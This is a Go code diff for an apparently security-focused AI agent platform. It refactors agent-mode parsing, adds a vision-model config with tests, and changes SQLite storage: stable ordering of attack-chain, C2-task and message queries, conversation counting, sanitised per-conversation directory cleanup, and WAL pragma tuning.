// 字段仍保留,便于旧版 config 不报错;新部署可省略。
|
SummarizationRetryMaxAttempts int `yaml:"summarization_retry_max_attempts,omitempty" json:"summarization_retry_max_attempts,omitempty"`
|
||||||
HistoryInputBudgetRatio float64 `yaml:"history_input_budget_ratio,omitempty" json:"history_input_budget_ratio,omitempty"`
|
|
||||||
// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
|
// PlanExecuteUserInputBudgetRatio caps planner/replanner/executor userInput prompt budget ratio (default 0.35).
|
||||||
PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
|
PlanExecuteUserInputBudgetRatio float64 `yaml:"plan_execute_user_input_budget_ratio,omitempty" json:"plan_execute_user_input_budget_ratio,omitempty"`
|
||||||
// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).
|
// PlanExecuteExecutedStepsBudgetRatio caps executed_steps prompt budget ratio (default 0.2).
|
||||||
@@ -283,20 +285,6 @@ func (c MultiAgentEinoMiddlewareConfig) SummarizationEmitInternalEventsEffective
|
|||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
func (c MultiAgentEinoMiddlewareConfig) HistoryInputBudgetRatioEffective() float64 {
|
|
||||||
v := c.HistoryInputBudgetRatio
|
|
||||||
if v <= 0 {
|
|
||||||
return 0.35
|
|
||||||
}
|
|
||||||
if v < 0.15 {
|
|
||||||
return 0.15
|
|
||||||
}
|
|
||||||
if v > 0.6 {
|
|
||||||
return 0.6
|
|
||||||
}
|
|
||||||
return v
|
|
||||||
}
|
|
||||||
|
|
||||||
func (c MultiAgentEinoMiddlewareConfig) PlanExecuteUserInputBudgetRatioEffective() float64 {
|
func (c MultiAgentEinoMiddlewareConfig) PlanExecuteUserInputBudgetRatioEffective() float64 {
|
||||||
v := c.PlanExecuteUserInputBudgetRatio
|
v := c.PlanExecuteUserInputBudgetRatio
|
||||||
if v <= 0 {
|
if v <= 0 {
|
||||||
@@ -403,16 +391,26 @@ type MultiAgentPublic struct {
|
|||||||
ToolSearchAlwaysVisibleEffectiveTools []string `json:"tool_search_always_visible_effective_tools,omitempty"`
|
ToolSearchAlwaysVisibleEffectiveTools []string `json:"tool_search_always_visible_effective_tools,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
// NormalizeRobotAgentMode 解析机器人默认对话模式(react | eino_single | deep | plan_execute | supervisor);空值视为 react。
|
// NormalizeAgentMode 解析代理模式(eino_single | deep | plan_execute | supervisor);空值默认 eino_single。
|
||||||
func NormalizeRobotAgentMode(ma MultiAgentConfig) string {
|
func NormalizeAgentMode(mode string) string {
|
||||||
s := strings.TrimSpace(strings.ToLower(ma.RobotDefaultAgentMode))
|
s := strings.TrimSpace(strings.ToLower(mode))
|
||||||
if s == "" || s == "single" || s == "react" {
|
switch s {
|
||||||
return "react"
|
case "", "eino_single":
|
||||||
}
|
return "eino_single"
|
||||||
if s == "eino_single" {
|
case "deep":
|
||||||
|
return "deep"
|
||||||
|
case "plan_execute", "plan-execute", "planexecute", "pe":
|
||||||
|
return "plan_execute"
|
||||||
|
case "supervisor", "super", "sv":
|
||||||
|
return "supervisor"
|
||||||
|
default:
|
||||||
return "eino_single"
|
return "eino_single"
|
||||||
}
|
}
|
||||||
return NormalizeMultiAgentOrchestration(s)
|
}
|
||||||
|
|
||||||
|
// NormalizeRobotAgentMode 解析机器人默认对话模式。
|
||||||
|
func NormalizeRobotAgentMode(ma MultiAgentConfig) string {
|
||||||
|
return NormalizeAgentMode(ma.RobotDefaultAgentMode)
|
||||||
}
|
}
|
||||||
|
|
||||||
// NormalizeMultiAgentOrchestration 返回 deep、plan_execute 或 supervisor。
|
// NormalizeMultiAgentOrchestration 返回 deep、plan_execute 或 supervisor。
|
||||||
@@ -532,7 +530,7 @@ type OpenAIConfig struct {
|
|||||||
BaseURL string `yaml:"base_url" json:"base_url"`
|
BaseURL string `yaml:"base_url" json:"base_url"`
|
||||||
Model string `yaml:"model" json:"model"`
|
Model string `yaml:"model" json:"model"`
|
||||||
MaxTotalTokens int `yaml:"max_total_tokens,omitempty" json:"max_total_tokens,omitempty"`
|
MaxTotalTokens int `yaml:"max_total_tokens,omitempty" json:"max_total_tokens,omitempty"`
|
||||||
// Reasoning 控制 Eino ChatModel 的 thinking / reasoning_effort / output_config 等(仅 Eino 路径生效;原生 ReAct 忽略)。
|
// Reasoning 控制 Eino ChatModel 的 thinking / reasoning_effort / output_config 等(Eino 单/多代理路径生效)。
|
||||||
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
Reasoning OpenAIReasoningConfig `yaml:"reasoning,omitempty" json:"reasoning,omitempty"`
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -0,0 +1,97 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import "strings"
|
||||||
|
|
||||||
|
// VisionConfig 独立视觉模型与 analyze_image 工具参数;enabled 时注册 MCP 工具 analyze_image。
|
||||||
|
type VisionConfig struct {
|
||||||
|
Enabled bool `yaml:"enabled" json:"enabled"`
|
||||||
|
APIKey string `yaml:"api_key,omitempty" json:"api_key,omitempty"`
|
||||||
|
BaseURL string `yaml:"base_url,omitempty" json:"base_url,omitempty"`
|
||||||
|
Model string `yaml:"model,omitempty" json:"model,omitempty"`
|
||||||
|
Provider string `yaml:"provider,omitempty" json:"provider,omitempty"`
|
||||||
|
TimeoutSeconds int `yaml:"timeout_seconds,omitempty" json:"timeout_seconds,omitempty"`
|
||||||
|
MaxImageBytes int64 `yaml:"max_image_bytes,omitempty" json:"max_image_bytes,omitempty"`
|
||||||
|
MaxDimension int `yaml:"max_dimension,omitempty" json:"max_dimension,omitempty"`
|
||||||
|
JPEGQuality int `yaml:"jpeg_quality,omitempty" json:"jpeg_quality,omitempty"`
|
||||||
|
MaxPayloadBytes int64 `yaml:"max_payload_bytes,omitempty" json:"max_payload_bytes,omitempty"`
|
||||||
|
SkipPreprocessBelowBytes int64 `yaml:"skip_preprocess_below_bytes,omitempty" json:"skip_preprocess_below_bytes,omitempty"` // 0=始终压缩;默认 2MB 且长边已<=max_dimension 时原图直传
|
||||||
|
Detail string `yaml:"detail,omitempty" json:"detail,omitempty"` // low | high | auto
|
||||||
|
}
|
||||||
|
|
||||||
|
func (v VisionConfig) TimeoutSecondsEffective() int {
|
||||||
|
if v.TimeoutSeconds <= 0 {
|
||||||
|
return 60
|
||||||
|
}
|
||||||
|
return v.TimeoutSeconds
|
||||||
|
}
|
||||||
|
|
||||||
|
func (v VisionConfig) MaxImageBytesEffective() int64 {
|
||||||
|
if v.MaxImageBytes <= 0 {
|
||||||
|
return 5 * 1024 * 1024
|
||||||
|
}
|
||||||
|
return v.MaxImageBytes
|
||||||
|
}
|
||||||
|
|
||||||
|
func (v VisionConfig) MaxDimensionEffective() int {
|
||||||
|
if v.MaxDimension <= 0 {
|
||||||
|
return 2048
|
||||||
|
}
|
||||||
|
return v.MaxDimension
|
||||||
|
}
|
||||||
|
|
||||||
|
func (v VisionConfig) JPEGQualityEffective() int {
|
||||||
|
if v.JPEGQuality <= 0 || v.JPEGQuality > 100 {
|
||||||
|
return 82
|
||||||
|
}
|
||||||
|
return v.JPEGQuality
|
||||||
|
}
|
||||||
|
|
||||||
|
func (v VisionConfig) MaxPayloadBytesEffective() int64 {
|
||||||
|
if v.MaxPayloadBytes <= 0 {
|
||||||
|
return 512 * 1024
|
||||||
|
}
|
||||||
|
return v.MaxPayloadBytes
|
||||||
|
}
|
||||||
|
|
||||||
|
// SkipPreprocessBelowBytesEffective 低于该字节数且长边<=max_dimension、且<=max_payload 时可原图直传;0 表示始终压缩。
|
||||||
|
func (v VisionConfig) SkipPreprocessBelowBytesEffective() int64 {
|
||||||
|
if v.SkipPreprocessBelowBytes < 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return v.SkipPreprocessBelowBytes
|
||||||
|
}
|
||||||
|
|
||||||
|
func (v VisionConfig) DetailEffective() string {
|
||||||
|
d := strings.ToLower(strings.TrimSpace(v.Detail))
|
||||||
|
switch d {
|
||||||
|
case "high", "low", "auto":
|
||||||
|
return d
|
||||||
|
default:
|
||||||
|
return "low"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// OpenAICfgEffective 合并主 openai 配置与 vision 覆盖项,供 VL ChatModel 使用。
|
||||||
|
// vision.api_key / base_url / provider 留空或省略时,沿用 main(openai)对应字段;vision.model 必填(由 Ready 校验)。
|
||||||
|
func (v VisionConfig) OpenAICfgEffective(main OpenAIConfig) OpenAIConfig {
|
||||||
|
out := main
|
||||||
|
if k := strings.TrimSpace(v.APIKey); k != "" {
|
||||||
|
out.APIKey = k
|
||||||
|
}
|
||||||
|
if u := strings.TrimSpace(v.BaseURL); u != "" {
|
||||||
|
out.BaseURL = u
|
||||||
|
}
|
||||||
|
if m := strings.TrimSpace(v.Model); m != "" {
|
||||||
|
out.Model = m
|
||||||
|
}
|
||||||
|
if p := strings.TrimSpace(v.Provider); p != "" {
|
||||||
|
out.Provider = p
|
||||||
|
}
|
||||||
|
out.Reasoning.Mode = "off"
|
||||||
|
return out
|
||||||
|
}
|
||||||
|
|
||||||
|
// Ready 表示已启用且模型名非空。
|
||||||
|
func (v VisionConfig) Ready() bool {
|
||||||
|
return v.Enabled && strings.TrimSpace(v.Model) != ""
|
||||||
|
}
|
||||||
@@ -0,0 +1,55 @@
|
|||||||
|
package config
|
||||||
|
|
||||||
|
import "testing"
|
||||||
|
|
||||||
|
func TestVisionConfig_OpenAICfgEffective_fallbackToMain(t *testing.T) {
|
||||||
|
main := OpenAIConfig{
|
||||||
|
APIKey: "main-key",
|
||||||
|
BaseURL: "https://main.example/v1",
|
||||||
|
Model: "main-model",
|
||||||
|
Provider: "openai",
|
||||||
|
}
|
||||||
|
v := VisionConfig{Model: "qwen-vl-max"}
|
||||||
|
out := v.OpenAICfgEffective(main)
|
||||||
|
if out.APIKey != main.APIKey || out.BaseURL != main.BaseURL || out.Provider != main.Provider {
|
||||||
|
t.Fatalf("expected openai fallback, got key=%q url=%q provider=%q", out.APIKey, out.BaseURL, out.Provider)
|
||||||
|
}
|
||||||
|
if out.Model != "qwen-vl-max" {
|
||||||
|
t.Fatalf("model: %s", out.Model)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVisionConfig_OpenAICfgEffective(t *testing.T) {
|
||||||
|
main := OpenAIConfig{
|
||||||
|
APIKey: "main-key",
|
||||||
|
BaseURL: "https://main.example/v1",
|
||||||
|
Model: "main-model",
|
||||||
|
Provider: "openai",
|
||||||
|
Reasoning: OpenAIReasoningConfig{Mode: "on"},
|
||||||
|
}
|
||||||
|
v := VisionConfig{
|
||||||
|
Model: "vl-model",
|
||||||
|
APIKey: "vl-key",
|
||||||
|
BaseURL: "https://vl.example/v1",
|
||||||
|
Provider: "claude",
|
||||||
|
}
|
||||||
|
out := v.OpenAICfgEffective(main)
|
||||||
|
if out.APIKey != "vl-key" || out.BaseURL != "https://vl.example/v1" || out.Model != "vl-model" {
|
||||||
|
t.Fatalf("unexpected merge: %+v", out)
|
||||||
|
}
|
||||||
|
if out.Provider != "claude" {
|
||||||
|
t.Fatalf("provider: %s", out.Provider)
|
||||||
|
}
|
||||||
|
if out.Reasoning.Mode != "off" {
|
||||||
|
t.Fatalf("reasoning should be off for vision, got %s", out.Reasoning.Mode)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestVisionConfig_Ready(t *testing.T) {
|
||||||
|
if (VisionConfig{Enabled: true, Model: "x"}).Ready() != true {
|
||||||
|
t.Fatal("expected ready")
|
||||||
|
}
|
||||||
|
if (VisionConfig{Enabled: true}).Ready() != false {
|
||||||
|
t.Fatal("expected not ready without model")
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -77,7 +77,7 @@ func (db *DB) LoadAttackChainNodes(conversationID string) ([]AttackChainNode, er
|
|||||||
SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
|
SELECT id, node_type, node_name, tool_execution_id, metadata, risk_score
|
||||||
FROM attack_chain_nodes
|
FROM attack_chain_nodes
|
||||||
WHERE conversation_id = ?
|
WHERE conversation_id = ?
|
||||||
ORDER BY created_at ASC
|
ORDER BY created_at ASC, rowid ASC
|
||||||
`
|
`
|
||||||
|
|
||||||
rows, err := db.Query(query, conversationID)
|
rows, err := db.Query(query, conversationID)
|
||||||
@@ -123,7 +123,7 @@ func (db *DB) LoadAttackChainEdges(conversationID string) ([]AttackChainEdge, er
|
|||||||
SELECT id, source_node_id, target_node_id, edge_type, weight
|
SELECT id, source_node_id, target_node_id, edge_type, weight
|
||||||
FROM attack_chain_edges
|
FROM attack_chain_edges
|
||||||
WHERE conversation_id = ?
|
WHERE conversation_id = ?
|
||||||
ORDER BY created_at ASC
|
ORDER BY created_at ASC, rowid ASC
|
||||||
`
|
`
|
||||||
|
|
||||||
rows, err := db.Query(query, conversationID)
|
rows, err := db.Query(query, conversationID)
|
||||||
|
|||||||
@@ -840,7 +840,7 @@ func (db *DB) PopQueuedC2Tasks(sessionID string, limit int) ([]*C2Task, error) {
|
|||||||
created_at
|
created_at
|
||||||
FROM c2_tasks
|
FROM c2_tasks
|
||||||
WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved'))
|
WHERE session_id = ? AND (status = 'queued' AND (approval_status = '' OR approval_status = 'approved'))
|
||||||
ORDER BY created_at ASC
|
ORDER BY created_at ASC, rowid ASC
|
||||||
LIMIT ?
|
LIMIT ?
|
||||||
`
|
`
|
||||||
rows, err := tx.Query(query, sessionID, limit)
|
rows, err := tx.Query(query, sessionID, limit)
|
||||||
|
|||||||
@@ -361,6 +361,27 @@ func (db *DB) GetConversationLite(id string) (*Conversation, error) {
|
|||||||
return &conv, nil
|
return &conv, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// CountConversations 统计对话数量。
|
||||||
|
func (db *DB) CountConversations(search string) (int, error) {
|
||||||
|
var count int
|
||||||
|
var err error
|
||||||
|
if search != "" {
|
||||||
|
searchPattern := "%" + search + "%"
|
||||||
|
err = db.QueryRow(
|
||||||
|
`SELECT COUNT(*) FROM conversations c
|
||||||
|
WHERE c.title LIKE ?
|
||||||
|
OR EXISTS (SELECT 1 FROM messages m WHERE m.conversation_id = c.id AND m.content LIKE ?)`,
|
||||||
|
searchPattern, searchPattern,
|
||||||
|
).Scan(&count)
|
||||||
|
} else {
|
||||||
|
err = db.QueryRow(`SELECT COUNT(*) FROM conversations`).Scan(&count)
|
||||||
|
}
|
||||||
|
if err != nil {
|
||||||
|
return 0, fmt.Errorf("统计对话失败: %w", err)
|
||||||
|
}
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
// ListConversations 列出所有对话
|
// ListConversations 列出所有对话
|
||||||
func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
|
func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversation, error) {
|
||||||
var rows *sql.Rows
|
var rows *sql.Rows
|
||||||
@@ -430,6 +451,73 @@ func (db *DB) ListConversations(limit, offset int, search string) ([]*Conversati
|
|||||||
return conversations, nil
|
return conversations, nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
const ungroupedConversationsSQL = `
|
||||||
|
FROM conversations c
|
||||||
|
WHERE NOT EXISTS (
|
||||||
|
SELECT 1 FROM conversation_group_mappings cgm WHERE cgm.conversation_id = c.id
|
||||||
|
)`
|
||||||
|
|
||||||
|
// CountUngroupedConversations 统计不在任何分组中的对话数量。
|
||||||
|
func (db *DB) CountUngroupedConversations() (int, error) {
|
||||||
|
var count int
|
||||||
|
if err := db.QueryRow(`SELECT COUNT(*) ` + ungroupedConversationsSQL).Scan(&count); err != nil {
|
||||||
|
return 0, fmt.Errorf("统计未分组对话失败: %w", err)
|
||||||
|
}
|
||||||
|
return count, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// ListUngroupedConversations 列出不在任何分组中的对话(最近对话侧栏)。
|
||||||
|
func (db *DB) ListUngroupedConversations(limit, offset int) ([]*Conversation, error) {
|
||||||
|
rows, err := db.Query(
|
||||||
|
`SELECT c.id, c.title, COALESCE(c.pinned, 0), c.created_at, c.updated_at, c.project_id `+
|
||||||
|
ungroupedConversationsSQL+`
|
||||||
|
ORDER BY c.updated_at DESC
|
||||||
|
LIMIT ? OFFSET ?`,
|
||||||
|
limit, offset,
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("查询未分组对话失败: %w", err)
|
||||||
|
}
|
||||||
|
defer rows.Close()
|
||||||
|
|
||||||
|
var conversations []*Conversation
|
||||||
|
for rows.Next() {
|
||||||
|
var conv Conversation
|
||||||
|
var createdAt, updatedAt string
|
||||||
|
var pinned int
|
||||||
|
var projectID sql.NullString
|
||||||
|
|
||||||
|
if err := rows.Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt, &projectID); err != nil {
|
||||||
|
return nil, fmt.Errorf("扫描对话失败: %w", err)
|
||||||
|
}
|
||||||
|
if projectID.Valid {
|
||||||
|
conv.ProjectID = strings.TrimSpace(projectID.String)
|
||||||
|
}
|
||||||
|
|
||||||
|
var err1, err2 error
|
||||||
|
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt)
|
||||||
|
if err1 != nil {
|
||||||
|
conv.CreatedAt, err1 = time.Parse("2006-01-02 15:04:05", createdAt)
|
||||||
|
}
|
||||||
|
if err1 != nil {
|
||||||
|
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt)
|
||||||
|
if err2 != nil {
|
||||||
|
conv.UpdatedAt, err2 = time.Parse("2006-01-02 15:04:05", updatedAt)
|
||||||
|
}
|
||||||
|
if err2 != nil {
|
||||||
|
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
|
||||||
|
}
|
||||||
|
|
||||||
|
conv.Pinned = pinned != 0
|
||||||
|
conversations = append(conversations, &conv)
|
||||||
|
}
|
||||||
|
|
||||||
|
return conversations, rows.Err()
|
||||||
|
}
|
||||||
|
|
||||||
// UpdateConversationTitle 更新对话标题
|
// UpdateConversationTitle 更新对话标题
|
||||||
func (db *DB) UpdateConversationTitle(id, title string) error {
|
func (db *DB) UpdateConversationTitle(id, title string) error {
|
||||||
// 注意:不更新 updated_at,因为重命名操作不应该改变对话的更新时间
|
// 注意:不更新 updated_at,因为重命名操作不应该改变对话的更新时间
|
||||||
@@ -477,19 +565,53 @@ func (db *DB) DeleteConversation(id string) error {
|
|||||||
if err != nil {
|
if err != nil {
|
||||||
return fmt.Errorf("删除对话失败: %w", err)
|
return fmt.Errorf("删除对话失败: %w", err)
|
||||||
}
|
}
|
||||||
// Best-effort cleanup for conversation-scoped filesystem artifacts
|
db.removeConversationScopedDirs(id)
|
||||||
// (e.g., summarization transcript, reduction/checkpoint files under conversation_artifacts/<id>).
|
|
||||||
if base := strings.TrimSpace(db.conversationArtifactsDir); base != "" {
|
|
||||||
artDir := filepath.Join(base, id)
|
|
||||||
if rmErr := os.RemoveAll(artDir); rmErr != nil {
|
|
||||||
db.logger.Warn("删除会话 artifacts 目录失败", zap.String("conversationId", id), zap.String("dir", artDir), zap.Error(rmErr))
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
|
db.logger.Info("对话及其所有相关数据已删除", zap.String("conversationId", id))
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
|
||||||
|
func sanitizeConversationPathSegment(s string) string {
|
||||||
|
s = strings.TrimSpace(s)
|
||||||
|
if s == "" {
|
||||||
|
return "default"
|
||||||
|
}
|
||||||
|
s = strings.ReplaceAll(s, string(filepath.Separator), "-")
|
||||||
|
s = strings.ReplaceAll(s, "/", "-")
|
||||||
|
s = strings.ReplaceAll(s, "\\", "-")
|
||||||
|
s = strings.ReplaceAll(s, "..", "__")
|
||||||
|
if len(s) > 180 {
|
||||||
|
s = s[:180]
|
||||||
|
}
|
||||||
|
return s
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) removeConversationScopedDir(base, conversationID, label string) {
|
||||||
|
base = strings.TrimSpace(base)
|
||||||
|
if base == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
dir := filepath.Join(base, sanitizeConversationPathSegment(conversationID))
|
||||||
|
if rmErr := os.RemoveAll(dir); rmErr != nil {
|
||||||
|
if db.logger != nil {
|
||||||
|
db.logger.Warn("删除会话目录失败",
|
||||||
|
zap.String("conversationId", conversationID),
|
||||||
|
zap.String("kind", label),
|
||||||
|
zap.String("dir", dir),
|
||||||
|
zap.Error(rmErr))
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (db *DB) removeConversationScopedDirs(conversationID string) {
|
||||||
|
// summarization transcript, reduction files, etc.
|
||||||
|
db.removeConversationScopedDir(db.conversationArtifactsDir, conversationID, "conversation_artifacts")
|
||||||
|
// Eino plantask JSON boards (skills_dir/.eino/plantask/<id>/).
|
||||||
|
db.removeConversationScopedDir(db.einoPlantaskBaseDir, conversationID, "plantask")
|
||||||
|
// Eino ADK runner checkpoints (checkpoint_dir/<id>/).
|
||||||
|
db.removeConversationScopedDir(db.einoCheckpointBaseDir, conversationID, "eino_checkpoint")
|
||||||
|
}
|
||||||
|
|
||||||
// SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
|
// SaveAgentTrace 保存最后一轮代理消息轨迹与助手输出摘要。
|
||||||
// SQLite 列名仍为 last_react_input / last_react_output,与历史库表兼容;语义上为「全模式代理轨迹」,非仅 ReAct。
|
// SQLite 列名仍为 last_react_input / last_react_output,与历史库表兼容;语义上为「全模式代理轨迹」,非仅 ReAct。
|
||||||
func (db *DB) SaveAgentTrace(conversationID, traceInputJSON, assistantOutput string) error {
|
func (db *DB) SaveAgentTrace(conversationID, traceInputJSON, assistantOutput string) error {
|
||||||
@@ -604,7 +726,7 @@ func (db *DB) UpdateAssistantMessageFinalize(messageID, content string, mcpExecu
|
|||||||
// GetMessages 获取对话的所有消息
|
// GetMessages 获取对话的所有消息
|
||||||
func (db *DB) GetMessages(conversationID string) ([]Message, error) {
|
func (db *DB) GetMessages(conversationID string) ([]Message, error) {
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC",
|
"SELECT id, conversation_id, role, content, reasoning_content, mcp_execution_ids, created_at, updated_at FROM messages WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
|
||||||
conversationID,
|
conversationID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -799,7 +921,7 @@ func (db *DB) AddProcessDetail(messageID, conversationID, eventType, message str
|
|||||||
// GetProcessDetails 获取消息的过程详情
|
// GetProcessDetails 获取消息的过程详情
|
||||||
func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
|
func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC",
|
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE message_id = ? ORDER BY created_at ASC, rowid ASC",
|
||||||
messageID,
|
messageID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
@@ -835,7 +957,7 @@ func (db *DB) GetProcessDetails(messageID string) ([]ProcessDetail, error) {
|
|||||||
// GetProcessDetailsByConversation 获取对话的所有过程详情(按消息分组)
|
// GetProcessDetailsByConversation 获取对话的所有过程详情(按消息分组)
|
||||||
func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
|
func (db *DB) GetProcessDetailsByConversation(conversationID string) (map[string][]ProcessDetail, error) {
|
||||||
rows, err := db.Query(
|
rows, err := db.Query(
|
||||||
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC",
|
"SELECT id, message_id, conversation_id, event_type, message, data, created_at FROM process_details WHERE conversation_id = ? ORDER BY created_at ASC, rowid ASC",
|
||||||
conversationID,
|
conversationID,
|
||||||
)
|
)
|
||||||
if err != nil {
|
if err != nil {
|
||||||
|
|||||||
@@ -0,0 +1,57 @@
|
|||||||
|
package database
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
"path/filepath"
|
||||||
|
"testing"
|
||||||
|
|
||||||
|
"go.uber.org/zap"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestDeleteConversationRemovesEinoScopedDirs(t *testing.T) {
|
||||||
|
tmp := t.TempDir()
|
||||||
|
dbPath := filepath.Join(tmp, "conversations.db")
|
||||||
|
db, err := NewDB(dbPath, zap.NewNop())
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("NewDB: %v", err)
|
||||||
|
}
|
||||||
|
defer db.Close()
|
||||||
|
|
||||||
|
plantaskBase := filepath.Join(tmp, "skills", ".eino", "plantask")
|
||||||
|
checkpointBase := filepath.Join(tmp, "eino-checkpoints")
|
||||||
|
db.SetEinoConversationDirs(plantaskBase, checkpointBase)
|
||||||
|
|
||||||
|
conv, err := db.CreateConversation("cleanup test", ConversationCreateMeta{})
|
||||||
|
if err != nil {
|
||||||
|
t.Fatalf("CreateConversation: %v", err)
|
||||||
|
}
|
||||||
|
convID := conv.ID
|
||||||
|
seg := sanitizeConversationPathSegment(convID)
|
||||||
|
for _, base := range []struct {
|
||||||
|
root string
|
||||||
|
file string
|
||||||
|
}{
|
||||||
|
{db.conversationArtifactsDir, "transcript.txt"},
|
||||||
|
{plantaskBase, "task-1.json"},
|
||||||
|
{checkpointBase, "runner-deep.ckpt"},
|
||||||
|
} {
|
||||||
|
dir := filepath.Join(base.root, seg)
|
||||||
|
if err := os.MkdirAll(dir, 0o755); err != nil {
|
||||||
|
t.Fatalf("mkdir %s: %v", dir, err)
|
||||||
|
}
|
||||||
|
if err := os.WriteFile(filepath.Join(dir, base.file), []byte("x"), 0o644); err != nil {
|
||||||
|
t.Fatalf("write %s: %v", base.file, err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if err := db.DeleteConversation(convID); err != nil {
|
||||||
|
t.Fatalf("DeleteConversation: %v", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
for _, base := range []string{db.conversationArtifactsDir, plantaskBase, checkpointBase} {
|
||||||
|
dir := filepath.Join(base, seg)
|
||||||
|
if _, statErr := os.Stat(dir); !os.IsNotExist(statErr) {
|
||||||
|
t.Fatalf("expected removed dir %s, stat err=%v", dir, statErr)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
+141
-60
@@ -5,6 +5,7 @@ import (
|
|||||||
"fmt"
|
"fmt"
|
||||||
"os"
|
"os"
|
||||||
"path/filepath"
|
"path/filepath"
|
||||||
|
"sync"
|
||||||
"strings"
|
"strings"
|
||||||
"time"
|
"time"
|
||||||
|
|
||||||
@@ -12,19 +13,108 @@ import (
|
|||||||
"go.uber.org/zap"
|
"go.uber.org/zap"
|
||||||
)
|
)
|
||||||
|
|
||||||
|
const (
|
||||||
|
// SQLite 在 WAL 模式下建议使用较保守的连接数,降低长读快照导致 checkpoint 饥饿的概率。
|
||||||
|
sqliteMaxOpenConns = 25
|
||||||
|
sqliteMaxIdleConns = 5
|
||||||
|
// 以页为单位的自动 checkpoint 触发阈值(默认 1000 页,约 4MB @ 4KB/page)。
|
||||||
|
sqliteWALAutoCheckpointPages = 1000
|
||||||
|
// 控制 WAL 目标上限,避免异常场景持续膨胀(256MB)。
|
||||||
|
sqliteJournalSizeLimitBytes = 256 * 1024 * 1024
|
||||||
|
// 定时执行 PASSIVE checkpoint,平滑推进 WAL 回收。
|
||||||
|
sqlitePassiveCheckpointInterval = 300 * time.Second
|
||||||
|
)
|
||||||
|
|
||||||
// configureDBPool 设置 SQLite 连接池参数,提升并发稳定性
|
// configureDBPool 设置 SQLite 连接池参数,提升并发稳定性
|
||||||
func configureDBPool(db *sql.DB) {
|
func configureDBPool(db *sql.DB) {
|
||||||
// SQLite 同一时间只允许一个写入者,限制连接数避免 "database is locked" 错误
|
// SQLite 同一时间只允许一个写入者;过高连接数会放大锁竞争和 WAL 回收延迟。
|
||||||
db.SetMaxOpenConns(25)
|
db.SetMaxOpenConns(sqliteMaxOpenConns)
|
||||||
db.SetMaxIdleConns(5)
|
db.SetMaxIdleConns(sqliteMaxIdleConns)
|
||||||
db.SetConnMaxLifetime(30 * time.Minute)
|
db.SetConnMaxLifetime(30 * time.Minute)
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// configureSQLitePragmas 调整 WAL 回收行为,降低 -wal 文件长期膨胀风险。
|
||||||
|
func configureSQLitePragmas(db *sql.DB) error {
|
||||||
|
if _, err := db.Exec(fmt.Sprintf("PRAGMA wal_autocheckpoint=%d", sqliteWALAutoCheckpointPages)); err != nil {
|
||||||
|
return fmt.Errorf("设置 wal_autocheckpoint 失败: %w", err)
|
||||||
|
}
|
||||||
|
if _, err := db.Exec(fmt.Sprintf("PRAGMA journal_size_limit=%d", sqliteJournalSizeLimitBytes)); err != nil {
|
||||||
|
